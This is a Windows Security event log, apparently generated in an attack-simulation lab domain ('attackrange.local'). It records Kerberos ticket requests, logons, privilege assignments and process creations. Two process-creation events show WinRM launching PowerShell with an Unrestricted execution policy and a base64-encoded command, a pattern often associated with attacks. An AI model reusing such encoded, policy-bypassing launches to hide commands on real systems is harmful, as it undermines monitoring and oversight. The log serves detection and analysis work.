	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250993
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250992
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x108c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250990
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x108c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf28
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250989
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1232FA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250988
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1232FA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250987
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250986
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250985
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf28
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250983
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Process Information:
	New Process ID:		0xf28
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250982
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250981
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250980
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250979
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250978
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251077
Keywords=Audit Success
